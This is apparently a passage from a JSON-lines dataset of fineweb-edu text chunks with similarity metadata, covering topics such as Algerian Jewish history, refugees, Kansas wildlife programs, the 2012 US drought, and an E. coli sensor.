cahen, les israelites dans l ' afrique septentrionale ; les juifs de l ' algerie, in bulletin, de la societe archeologique de constantine, 1867 ; - bloch, notes sur les israelites d ' algerie, in rev. et. juives, 1885, x. 255 ; - idem, les israelites d ' oran, ib. 1886, xiii. 85 - 99 ; - barges, les juifs de tlemcen, in souvenirs d ' un voyage a tlemcen, paris. - on the origin and consequences of the decree cremieux : delsieu, essai sur la naturalisation collective des juifs indigenes, 1860 ; - fregier, les juifs algeriens, leur passe, leur present, leur avenir juridique, 1865 ; - l. forest, la naturalisation des juifs algeriens et l ' insurrection, de 1871, paris, 1897 ; - jacques cahen, les israelites de l ' algerie et le decret cremieux, 1900. - for anti - semitic literature : henri garrot, les juifs algeriens, 1898 ; - meynie, les juifs en algerie, 1888. - on the present situation of the jews : durieu, l ' antisemitisme algerien, in rev. socialiste, july, sept., oct., dec., 1899 ; jan., feb., march, 1900 ; - anonymous, l ' \u0153uvre des anti - juifs d ' alger, 1899 ; - anthony wilkin, among the berbers of algeria, ch. xii. ( anti - semitism in algiers ), london, 1900.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4259292715026773, "token_count": 426, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.474722"} {"text": "| advent : a refugee \u2013 a person without past and future | rome, 17 december 2012 \u2013 what defines the existence of a refugee? a journalist recently asked me this question on swiss radio. she could have looked up the definition in the 1951 geneva refugee convention but then she was asking the question from an existential rather than a legal viewpoint. what is the meaning of being a refugee, what does it do to a person? a refugee is someone whose past has been destroyed and whose future is blocked : a person seemingly without a past or a future. life as a linear progression of past, present and future. we all have a past and a future, which meet in the here - and - now. most people have a home, a place where they were born, grew up, went to school, with family and friends, in a community based on a shared culture, values and beliefs. rooted in this past we build the present and future, with dreams, career plans, opportunities in education and our chosen profession. no past. for a refugee, however, the past has been taken away, left behind, or destroyed : the security and protection offered by a home, family and community have been lost. dear ones, family members have been dispersed, some or all killed. school and university studies have been abruptly interrupted. refugees find themselves in a new country, a new culture, sometimes with another religion and value system. they can no longer refer to their past when defining their identity because it has been torn away. for some, the experience suffered in their home country was so traumatic and deeply disappointing that they want to cut loose, never to refer to it again, much less return to it. the past is no longer a reference point for the present. no future. but there is no future either. many refugees feel their host country tolerates them at best but doesn ' t really want them. the willingness to welcome large or even small numbers of refugees has faded. so - called xenophobia is a growing phenomenon not just in wealthier regions but also in countries in the global south, which were once receptive. forcibly displaced people who are granted international refugee status can end up living under the protection of the un for more than 10, even 15 years, because their home and host countries fail to protect them. children are born as refugees, grow up in camps and spend their entire childhood and youth there. many other refugees are not recognised at all. nowadays, more than half the world ' s refugees live in cities, often illegally, without documents", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5383475011209817, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.481403"} {"text": "protect them. children are born as refugees, grow up in camps and spend their entire childhood and youth there. many other refugees are not recognised at all. nowadays, more than half the world ' s refugees live in cities, often illegally, without documents, status or protection. they live a life in the shadows. in many countries, even recognised refugees are not allowed to work. less than one percent have access to higher education, due to many obstacles, not least because it ' s simply too expensive. no work, no higher education opportunities, no local integration, no return, no resettlement means no future for most. just the here - and - now. refugees live at the crossroads between past and future. they just live in the here - and - now, often on the margins of society, at the borders of countries, in a \u2018 no man ' s land '. advent and christmas. let ' s consider the life of a refugee through the lens of advent and christmas. the experience of a refugee mirrors the meaning of advent, a time in the here - and - now between the unredeemed past and expected salvation in the future. the unredeemed past is marked by the sin of the world : greed for power, riches and glory. across the world, people are oppressed, violated and killed for the sake of robbing their land, their resources, for the sake of the glory of a few. it is such violence and injustice that refugees have had to run away from, which destroyed their past. thus refugees are left with nothing but the hope and desire for peace, for a new home where they will find protection. they wait for years for this new home, which will be either back in their country, or in the host country through local integration, or in another country where they may be resettled. they wait patiently, without ever losing hope, until one day the message of peace is announced, the message delivered by the angel at christmas : peace on earth to all people of goodwill ( cf. lk 2 : 14 ). the existence of refugees is an illustration of the theological meaning of advent, of a people who live in darkness and who see a great light, as the prophet isaiah said ( cf. is 9 : 2 ). jrs nourishes the hope of christmas. working with refugees, jrs also experiences this dimension of advent to some degree. there is no need to go into detail to understand what it means for jrs teams to share the tragedies unfolding right", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4322882922431555, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.482376"} {"text": "##urishes the hope of christmas. working with refugees, jrs also experiences this dimension of advent to some degree. there is no need to go into detail to understand what it means for jrs teams to share the tragedies unfolding right now in eastern congo and syria. hundreds of thousands have fled the wanton destruction. jrs still has teams on the ground in eastern congo and syria, holding out for as long as possible with people who are forced to endure an unredeemed world at war, a place in the here - and - now without past or future. this is in line with our mission that gives priority to accompanying refugees, to being with them and sharing to some degree the dangers they are exposed to. another priority of jrs is to serve refugees by offering psychosocial and pastoral care, and especially education, to kindle hope through learning. jrs formal and informal education programmes reach over 250, 000 children, young people and adults. school is about more than increasing knowledge, it is a place where the past is healed and the future is gained. education in the here - and - now of a refugee ' s life helps to re - connect the lost past and future. one can lose everything but not what one carries in the mind and heart, knowledge and values, the spirit of hope. education is a source of hope and an instrument of peace. the mission of jrs finds deep meaning in advent, striving for the hope, joy and peace celebrated at christmas. it is about finding a new home, the protection of a new family, community and country, just as mary and joseph found a humble place in bethlehem, cared for by the poor shepherds who were the first to hear the message of the angels : peace on earth to all people of goodwill. peter balleis sj, jrs international director", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48607584314956187, "token_count": 376, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.483059"} {"text": "while fossils can be found around kimmeridge, they are often not very good for collecting as the rock in which they formed is very crumbly. the best specimens are found in the exposed ledges on the shore line. it is definitely not a good idea to look for fossils in the cliff or, as some people do, sit or sun bathe beneath them. these cliffs are very unstable and you only have to stop and listen for a short while to realize they are falling all the time. occasionally large sections of cliff crash onto the beach without warning, so beware! coastal features : kimmeridge ledges the kimmeridge ledges are limestone fingers of rock that formed from fine silts during periods when the jurassic sea here at the time was deep. the ledges are clearly seen in the cliff and show the fall of the cliffs to the east. the ledges reach from the cliffs down onto the shore and far out to sea and have been responsible for numerous ship wrecks along this stretch of the jurassic coastline. coastal visitor centre kimmeridge marine centre town / village or area : tourist info centres in this area : purbeck marine wildlife reserve, rock pools, seaweed the shallow, sunlight rich water and rocky sea floor of kimmeridge bay provides ideal conditions for seaweed to grow and over 100 different species have been recorded in the marine reserve. interest : kimmeridge coal money, smuggling around kimmeridge, blackstone mining industry, cement stone, the kimmeridge cobb, the clavell tower", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40957550390875097, "token_count": 310, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.484683"} {"text": "the kansas city fed offers free economic and personal finance resources for educators, bankers and consumers. - classroom activities and select a category to explore free, age - specific tools for parents, educators and bankers to help children better understand economics and personal finance. - traveling historical - resources for bankers in the classroom - consumer help - bank director ' s desktop - foreclosure resources - credit card resources in the classroom enhance classroom learning by integrating free personal finance and economics resources into your curriculum. register for free resources. teach children to save help students understand the basics of personal finance through classroom visits and activities on april 23 and 24. continuing education for bankers stay on top of current trends, issues and regulations with a variety of resources for bankers and directors. use a variety of resources and tools to become more educated on financial and economic issues. book a tour of our money museums in kansas city or denver. read our entertaining stories that combine economics and personal finance into life lessons that feature \" money morals. \" learn more about financial fables. inventors become entrepreneurs we partnered with conestoga magnet school students in omaha to develop a book on entrepreneurship, innovation and inventions. check out our free traveling trunk to use in elementary and middle school classrooms. the trunk is filled with hands - on activities and lesson plans on money, economics and personal finance for teachers. student board of directors unique program gives tenth district students the opportunity to learn more about the federal reserve. shred challenge student competition prompted by an economic theme, students create an original work of art with approximately $ 800 in shredded money from the kansas city fed. fifty nifty econ cards use our economic cards to expand elementary and middle school students \u2019 vocabulary through various activities and games. core concept cards our core concept cards teach high school students how to incorporate economics into their everyday lives.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4499022338280127, "token_count": 365, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.486657"} {"text": "for immediate release mike heideman, 785 - 296 - 4363 as of june 4, the kansas department of health and environment ( kdhe ) has identified three cases that are linked to a nationwide outbreak of salmonella saintpaul bacterium infections. kansas is currently one of nine states affected by the outbreak. two of the cases are in south - central kansas and one is in southeast kansas. an epidemiologic investigation conducted by the new mexico and texas departments of health and the indian health service using interviews comparing foods eaten by ill and well persons has identified consumption of raw tomatoes as the likely source of illnesses in new mexico and texas. the specific type and source of tomatoes are under investigation ; however, preliminary data suggest that large tomatoes, including roma and red round are the source. kdhe is coordinating with local health departments as well as the centers for disease control and prevention ( cdc ) to assist in the outbreak investigation. as a precaution, kdhe and cdc are advising consumers to do the following : most persons infected with salmonella develop diarrhea, fever and abdominal cramps 12 to 72 hours after infection. the illness usually lasts 4 to 7 days, and most persons recover without treatment. however, in some persons, the diarrhea may be so severe that the patient needs to be hospitalized. the elderly, infants and those with impaired immune systems are more likely to have a severe illness. every year, approximately 40, 000 cases of salmonellosis ( salmonella infection ) are reported in the united states. because many milder cases are not diagnosed or reported, the actual number of infections may be thirty or more times greater. salmonellosis is more common in the summer than winter. for more information, visit www. cdc. gov / salmonella / saintpaul /.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4310117610307288, "token_count": 368, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.488530"} {"text": "what does it do? one of the most important activities of the kansas department of wildlife, parks and tourism is protection and management of threatened and endangered species. the checkoff has been able to fund dozens of projects that assess the status of threatened and endangered species and other animals on the state ' s species in need of conservation list. one of the more exciting projects of the checkoff was the golden eagle reintroduction project in russell and ellsworth counties. the goal of the project was to establish nesting golden eagles in that area in cooperation with western resources, inc. food base for golden eagles, primarily black - tailed prairie dogs, continued in decline in the area which hampered success. while cottontail rabbits were provided as food for young eaglets, they never were able to adapt fully without prairie dogs as well to supplement a mixed diet and encourage later nesting. occasionally, golden eagles nest in two to three places in western kansas but we not been able to enjoy expanded nesting and populations. perhaps with additional food base improvements, especially prairie dog towns, there could be opportunity for more golden eagles in the state. for several years the chickadee checkoff sponsored the nursing home bird feeder program with tremendous success. over 250 sites have been provided with bird feeders and initial bird feed. this was one of the first projects funded through the checkoff in 1981. another of the first projects subsidized by the checkoff was the songbird bundle supplied by the kansas forest service. the bundle consists of several species of shrubs and small trees suitable for backyard wildlife habitat plantings. the plants are selected because they provide food, cover and habitat for a variety of desirable animals. since 1985, the checkoff has sponsored the backyard habitat improvement program. besides providing information and assistance to people for improving their yards for wildlife, a certification program is offered to recognize those people who have done the necessary or exemplary things for wildlife in their own backyards. the chickadee checkoff has supported the kansas winter bird feeder survey since 1988. about 1000 people have participated in past years and provided valuable information about midwinter bird populations. research and habitat management have focused on sensitive river species in southeast kansas, dwindling resources in western kansas and endangered species such as the least tern. the outdoor wildlife learning sites program ( owls ) has been one of the most popular programs initiated and supported by the checkoff. over 200 schools have taken advantage of owls grants in developing outdoor learning laboratories. the chickadee checkoff has supported hundreds of research and surveying projects to help determine the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.46746227882512137, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.491948"} {"text": ") has been one of the most popular programs initiated and supported by the checkoff. over 200 schools have taken advantage of owls grants in developing outdoor learning laboratories. the chickadee checkoff has supported hundreds of research and surveying projects to help determine the status of nongame species. nearly 300 projects have been funded through the 30 year history of the checkoff to better understand nongame wildlife of kansas. perhaps the most value of the checkoff has been its role in supplying match funding for the larger federal state wildlife grants program ( swg. ) while the checkoff has supplied over 4 million dollars through the years, much of this money has been used as leverage for much larger amounts from the swg program. major projects funded through this matching of dollars have included the two major on - line atlases for reptiles, amphibians and mammals, natural area evaluations in northeast kansas, support for prairie re - establishments, and major survey work for sensitive aquatic species. even though a meager portion of our state wildlife agency ' s total budget, the chickadee checkoff has made a big difference. thirty years ago, there was very little information being pursued about nongame wildlife. today, with the additional support of match funding with swg, there have been major strides made for the conservation of all wildlife, but particularly those nongame species of which so little is known.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4496709961454013, "token_count": 276, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.492536"} {"text": "one war with two fronts, one against the confederacy in the east and the other against the french in the south, \" hayes - bautista said in an interview with cnn. \" in mexico today, cinco de mayo means the mexican army defeated the french army, \" he continued. \" in california and oregon, the news was interpreted as finally that the army of freedom and democracy won a big one against the army of slavery and elitism. and the fact that those two armies had to meet in mexico was immaterial because they were fighting for the same issues - - defending freedom and democracy. latinos were joining the union army, union cavalry, union navy. \" the french goal was to eliminate democracy, and remember that mexico had democracy only for 30 or 40 years at that point, \" he added. \" remember, europe was ruled mostly by monarchs. \" french emperor napoleon iii \" was no friend of the union and was definitely a friend of the confederacy and flirted with the confederacy constantly with the possible recognition of the confederate government, \" hayes - bautista said. president abraham lincoln never referred to the confederacy as a separate government : they were states in rebellion, \" the professor said. napoleon iii ' s plan was to instill a monarchy over mexico and \" have that monarch cooperate with the confederacy, \" hayes - bautista said. in early spring 1862, the union army was unable to move against the confederates, and american democracy was \" apparently not doing too well, \" hayes - bautista said. the french entry into mexico troubled hispanics, hayes - bautista said. \" latinos in california were reading about every single battle of the civil war, \" he said. \" they were very well - informed, and they were reading with a three - week delay of similarly detailed reports from mexico. so by early may, the french were about 60 miles from mexico city as some latinos feared that the civil war might be over. \" but the mexican army prevailed, and the spanish - language newspapers in california reported the victory with such headlines as \" hurrah for mexico!!! hurrah for independence! \" in his book, hayes - bautista writes : \" in town after town, camp after camp, mine after mine, ranch after ranch, latinos eagerly absorbed the news. those who could read shared the glorious details with their illiterate fellows, and up and down the state, latinos savored the blow - by - blow reporting from the front lines of the conflict that had so riveted their attention. \" the cinco", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.42292454425907, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.499567"} {"text": "shared the glorious details with their illiterate fellows, and up and down the state, latinos savored the blow - by - blow reporting from the front lines of the conflict that had so riveted their attention. \" the cinco de mayo victory was then memorialized through a network of latino groups called \" juntas patrioticas mejicanas, \" or mexican patriotic assemblies, mostly in california but also in oregon, nevada and arizona, with 14, 000 members, hayes - bautista said. the juntas celebrated cinco de mayo with monthly parades, speeches, dances, banquets and bull fights as a morale builder for lincoln and mexican president benito juarez, who, despite the cinco de mayo victory, was subsequently engaged in a three - year struggle against foreign occupation until 1867. \" from 1862 to 1867, the public memory of cinco de mayo was forged in the american west, \" hayes - bautista said. briefly after the civil war, veterans of the union and mexican armies would put on their uniforms and give speeches every cinco de mayo, he said. but by 1890, the grandchildren of the veterans and juntas had to be taught about cinco de mayo, hayes - bautista said. the meaning of the holiday changed over time, becoming a david versus goliath tale among mexican immigrants in the 1930s and embodying u. s. - mexico unity during world war ii and chicano power in the 1960s and 1970s, hayes - bautista said. in his book, he described cinco de mayo ' s \" undeniable commercialization in the late 20th century, a fake holiday recently invented by beverage companies. \" in his interview with cnn, hayes - bautista stated : \" now it ' s become this big commercial holiday and a wonderful opportunity to get services and products in front of the latino market and it even got its own postage in 1996 and in 2005 president bush even had a cinco de mayo celebration at the white house.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.39740173791569255, "token_count": 395, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.500349"} {"text": "the roots of the american nation thomas paine, as well as franklin, jefferson and washington, * belonged to the movement called freemasonry which in its modern \" speculative \" form began in london on june 24, 1717 the influence of freemasonry on the minds of educated men in europe and the colonies can hardly be overestimated. but to understand this influence on the collective mentality of a large proportion of the eighteenth - and - nineteenth - century intellectual and political classes, we have to take into consideration the fact, so often ignored or downgraded by historians, that throughout the development of the european culture, a series of usually ill - fated but oft - repeated attempts have been made to prolong and keep alive these aspects of the pre - christian near eastern culture which the fathers of the church, in alexandria and syria, had sought ruthlessly to suppress. we can lump the various movements against which the builders of christian orthodoxy fought under the general term of gnosticism ; but there were many kinds of gnostics, some linked with the hermetic movement in egypt, others with what, at a later period, was set down as the hebrew kabballah and no doubt was influenced by the old chaldeans ' wisdom of babylon. still other gnostic groups sought to prolong the orphic, eleusian, neo - pythagorean and neo - platonic traditions, and even the teachings of the buddhist missionaries who, in the time of the great indian king asoka, had settled on the shores of the dead sea. the catholic church was successful in condensing, appropriating and transforming much of the complex esoteric material that had been poured out by the gnostic \" sects, \" center in what it was able to keep of all these highly intellectual ideas and of the great symbols of the ancient mysteries around the personage of jesus christ, considered the one and only son of god. after a series of councils in which dissident groups were anathematized, the church triumphed and became the official religion of the disintegrating roman empire, then of the slowly settling down germanic and slavic tribes. it also absorbed the old celtic traditions. but this success was never total. gnostic movements sprang up here and there during the middle ages. the crusades, by bringing french, english and german noblemen in contact with the still flourishing centers of near eastern culture and tradition \u2014 especially with the sufi movement, which had become the esoteric aspect of islam ( 4", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48299629739979955, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.505074"} {"text": "there during the middle ages. the crusades, by bringing french, english and german noblemen in contact with the still flourishing centers of near eastern culture and tradition \u2014 especially with the sufi movement, which had become the esoteric aspect of islam ( 4 ) \u2014 spurred the spread of mystical and occult movements. this was especially the case in southern france, where the influence of the mozarabic culture of islamic spain, and of kabbalistic doctrines, had been strongly felt. there the albigenses flourished along gnostic lines ; and in northern france the order of the templars also gained in importance and ( unfortunately for its members ) in wealth. ( 5 ) this led the french monarch to savagely destroy the two movements, with the help of the pope. at the same time, and under the influence of similar ancient traditions, the masons who were building the magnificent gothic cathedrals, under the leadership of architects whose names are mostly lost, incorporated in these cathedrals and their rose windows an immense amount of traditional occult and astrological symbolism. these lodges of \" operative \" masons were precursors of the lodges of \" speculative \" masons which were formed in the early eighteenth century or a little earlier. on june, 24, 1717, a grand master, anthony sayer, was elected and for the first time given jurisdiction over several masonic lodges, marking the effective beginning of modern speculative freemasonry. ( it is called \" speculative \" because it used basic philosophic concepts and symbolic rituals to bring to the intellectual classes of the western world a free, nondogmatic, nonecclesiastic approach to man, god and the universe. ) a fast - growing network of masonic lodges became the means whereby the rationalistic and humanistic ideals that for three centuries had been developing in europe could effectively be propagated. masonry had reached the american colonies during the seventeenth century, and according to the encyclopedia of american facts and dates ( a fascinating mine of information published by t. y. crowell company ), in \u2014 1682 one john skene became the \" first freemason to settle in burlington, new jersey. he belonged to the lodge in aberdeen, scotland, and came to the colonies through arrangement with the earl of perth, chief ' proprietor ' of new jersey and an outstanding freemason. \" later, in 1730, \" daniel coxe became the first appointed grand master of masons of the provinces of new york, new jersey and pennsylvania. \" the birth charts of thomas paine, benjamin franklin, thomas", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4733623451722465, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.506157"} {"text": "an outstanding freemason. \" later, in 1730, \" daniel coxe became the first appointed grand master of masons of the provinces of new york, new jersey and pennsylvania. \" the birth charts of thomas paine, benjamin franklin, thomas jefferson and george washington are available for viewing. they may also be found in cyberworld khaldea ' s online chart gallery. editor. return cf. shah ' s book the sufis ( doubleday, new york, 1964 ) for a perhaps exaggerated report of the influence of sufism over the unofficial aspect of european culture. return it was founded in 1118 by the french knights hugh de payens and geoffrey de st. omer who were taught by representatives of the very old st. john ' s sect in the near east. return by permission of leyla rudhyar hill copyright \u00a9 1974 by dane rudhyar and copyright \u00a9 2001 by leyla rudhyar hill all rights reserved. web design and all data, text and graphics appearing on this site are protected by us and international copyright and are not to be reproduced, distributed, circulated, offered for sale, or given away, in any form, by any means, electronic or conventional. for full copyright statement and conditions of use. web design copyright \u00a9 2000 - 2004 by michael r. meyer. all rights reserved.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46096774426560116, "token_count": 269, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.506681"} {"text": "we ' re eating less fast food - - but not by much younger adults tend to eat more fast food than seniors americans are eating less fast food daily than they used to, according to a new report from the centers for disease control and prevention. but it ' s not much less. using data from 2007 to 2010, the cdc ' s national center for health statistics determined adults eat, on average, 11. 3 percent of their daily calories from fast food. that number was 12. 8 percent in 2006 - - a one - and - half point difference. as you would expect, younger adults tend to eat more fast food than seniors. people older than 60 eat approximately 6 percent of their daily calories from fast food. among the younger age groups, non - hispanic black adults eat the most fast food - - using more than one - fifth of their daily calories at fast food establishments. the cdc did not see a significant difference in fast food consumption based on income, according to the report. only in the 20 - to - 39 age group did fast food consumption drop as income increased. fast food has been linked to the obesity epidemic in the united states. not surprisingly, obese adults in each age group ate more of their calories from fast food. copyright 2013 by cnn newsource. all rights reserved. this material may not be published, broadcast, rewritten or redistributed.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.38131274830172335, "token_count": 284, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.508024"} {"text": "most active stories krwg. org - the region ' s home page sat january 12, 2013 from corn belt to main street : the drought ' s far - reaching grasp originally published on sat january 12, 2013 5 : 37 pm the u. s. had its hottest year on record last year. that heat, combined with the relatively dry winter that came before, has brought a historic drought. from forest fires and low crop yields, to infrastructure and recreation, the drought has been costly, with early estimates putting the cost at between $ 50 billion and $ 80 billion. the u. s. department of agriculture has declared a disaster area in more than 1, 000 counties, and now the drought is hitting america ' s most important waterway \u2014 the mississippi river. water levels are so low that the army corps of engineers is taking emergency action to keep the river navigable. \" this is critically important to the economy of the midwest and of the nation, \" illinois sen. dick durbin told reporters a few weeks ago. but beyond the dusty plains and dry rivers, the ripple effects of the drought are now being felt throughout the u. s. a not - so - mighty mississippi even if it doesn ' t look dry outside, you ' ve no doubt seen the effect of the drought : higher food prices, water main breaks, dried - out lakes and most recently, a very empty mississippi. that river is the country ' s most important waterway. everything from fertilizer to corn and coal are shipped along the winding river to cities across the country. with 3, 100 barges and 100 towboats, aep river operations, a st. louis - based barge company, usually moves about 70 million tons of cargo on inland waterways each year. but this year has been different. \" with the drought scenario we ' re in on the mississippi, the low water conditions has just about brought the river to a close, \" says marty hettel, manager of bulk sales for aep. he tells weekends on all things considered host jacki lyden that in current conditions, the company is operating at less than 45 percent shipping capacity. so far, mother nature and the army corps of engineers have kept the river open for business. the st. louis area got some rain a few days ago, helping raise the river level a couple of feet. hettel estimates levels are now about 6 feet below normal, but recent work by the corps has him optimistic. \" we ' ll have enough water to operate at least through feb. 7 or 8, and i '", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.38297495149094823, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.513670"} {"text": "river level a couple of feet. hettel estimates levels are now about 6 feet below normal, but recent work by the corps has him optimistic. \" we ' ll have enough water to operate at least through feb. 7 or 8, and i ' m really thinking it will be beyond that, \" he says. \" what happens from that point forward is up to mother nature and how much rain she can give us. \" farms hit hard one of the biggest commodities shipped on the mississippi river is grain, but in some parts of the country, like the texas panhandle, there ' s a lot less of it to ship. the texas panhandle is still in the grip of drought. for the third year now, ranchers and farmers in amarillo have been searching for signs of moisture. in 2012, they had a second record low of just 12 inches of rain, up a little from the year before, but not enough. \" if this goes on, we ' re going to be forced to sell our cows this next spring, \" says phillip smith. he and his wife, doris, have been farming and ranching the land in amarillo \u2014 growing wheat, grain sorghum and hay for cattle \u2014 for more than 50 years. the smiths tell lyden that they have already sold off a lot of the herd, and this year might be the last for the \" sunshine ranch, \" as they ' ve dubbed their farmstead. as the drought began, phillip smith says, submoisture allowed them to produce a \" less than average \" crop for two years, but this year they might not be able to grow anything. \" there is nothing growing on [ the fields ], it ' s pretty much bare ground, \" doris smith says. \" even the crops that we did plant in the late summer and early fall, because of the lack of moisture, those crops have died. \" their farm is just one example of what is happening across the u. s., she says, and when agriculture suffers, we all suffer. \" if you eat you are involved in agriculture [ and ] this really affects everybody, \" she says. climatologists are hesitant to link any one drought to climate change, but there is consensus there will be more severe dry spells in the years to come. mark svoboda, a climatologist with the national drought mitigation center in lincoln, neb., helped create a drought tracking system about a decade ago. he says that many people didn '", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.40273960955443927, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.514641"} {"text": "spells in the years to come. mark svoboda, a climatologist with the national drought mitigation center in lincoln, neb., helped create a drought tracking system about a decade ago. he says that many people didn ' t realize drought is one of the leading causes of economic loss in the country. \" the main goal was to heighten visibility of drought as a natural hazard that affects millions of people [ and ] covers millions of square miles across our country, \" svoboda tells lyden. more than 60 percent of the country was under drought conditions at the drought ' s peak in 2012, svoboda says. what sets this drought apart from previous years is how long it has lasted. \" a large part of the affected area [ s ] really are going into year two now, \" he says, adding that some parts of the u. s. are even heading into a third year. svoboda says dry conditions brought on by droughts can cause respiratory problems and that losing a livelihood can affect mental health. dry soil, coupled with poor infrastructure, can also lead to water main breaks. \" in houston, normally they might see 200 breaks a day, \" he says. \" they were seeing 700 a day during the summer months. \" there is not a lot that can be done to be \" drought proof, \" svoboda says, but a more conservation mentality might help when times get tough. \" even when times are good, let ' s preserve that water [ and ] get it back in the ground so that we can tap into it when times go dry like they are now, \" he says. svoboda says he expects the country to be locked into the drought at least until spring.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.443729490717169, "token_count": 354, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.515324"} {"text": "new sensor provides first instant test for toxic e. coli organism | by jeffery kahn, jbkahn @ lbl. gov december 10, 1996 berkeley, ca - - researchers have developed a sensor that, for the first time, can instantly detect the presence of toxic e. coli bacteria. contamination by this bacteria is responsible for recent illnesses and deaths in the united states involving fruit drinks and fast - food hamburgers, a massive outburst of food poisoning in japan, and a current outbreak in scotland that is linked to 10 deaths. raymond stevens, a chemist at the ernest orlando lawrence berkeley national laboratory ( berkeley lab ), says the sensors his team have developed are capable of providing an extremely inexpensive, on - the - spot litmus test for e. coli strain 0157 : h7. first identified as a threat to humans in 1982, 0157 : h7 is the virulent strain of e. coli responsible for these outbreaks. illustration courtesy of chemistry & biology magazine says stevens, \" these sensors have been designed so that the presence of the toxin produced by this strain of e. coli causes a color change, from blue to red. the greater the color change in the sensor, the higher the concentration of 0157 : h7 toxin. the color change is instantaneous. \" up until now, no technology existed that would allow either food companies, health inspectors, or consumers to determine immediately whether e. coli 0157 : h7 is present. currently, the best detection method requires the taking of a sample which must be cultured for 24 hours. only then can technicians ascertain whether the bacteria are present ( with the use of a variety of tools ranging from microscopes to dyes. ) another detection technique, now under development, relies on polymerase chain reaction technology to multiply the amount of bacterial dna present in a sample to detectable levels. several hours must pass, however, before results can be obtained. the instant analysis provided by berkeley lab ' s new sensors has obvious advantages as a public health tool. dangerous pathogens can be detected before a food product has been shipped to the store. another advantage is cost. says stevens, \" we can make an inexpensive sensor that can be placed on a number of different materials such as plastic, paper, or glass. the cost of the sensor is so nominal that it could be part of a bottle cap or container lid. if you open the product and the sensor has turned from blue to red, then you have a contaminated food product. \" as for the maturity of the", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5171625528952625, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.524874"} {"text": "cost of the sensor is so nominal that it could be part of a bottle cap or container lid. if you open the product and the sensor has turned from blue to red, then you have a contaminated food product. \" as for the maturity of the technology, a number of steps must occur before these sensors can be used commercially. the technology must be licensed to a private company. and then, it must be refined and adapted for mass manufacture and sale. stevens, who is also an assistant professor of chemistry at the university of california at berkeley, developed the sensors in concert with berkeley postdoc quan cheng. the device is a modification of one originally described in the journal science by former lab scientist mark bednarski and lab materials scientist deborah charych. all are current or former members of berkeley lab ' s biomolecular materials program in its center for advanced materials. the center does basic research relevant to both the needs of industry and the department of energy. technically, the working part of the sensor consists of multiple copies of a single molecule which is fabricated into a thin film. this molecule has a two - part composite structure. the surface of the molecule - - developed by stevens and cheng - - binds the bacteria toxin. the backbone underlying this surface is the color - changing signaling system described by bednarski and charych. the biomolecular materials program focuses on adapting nature ' s biological systems to problems outside the living organism. in this case says stevens, \" we have made synthetic surfaces that mimic the unique cellular binding sites for the toxins produced by 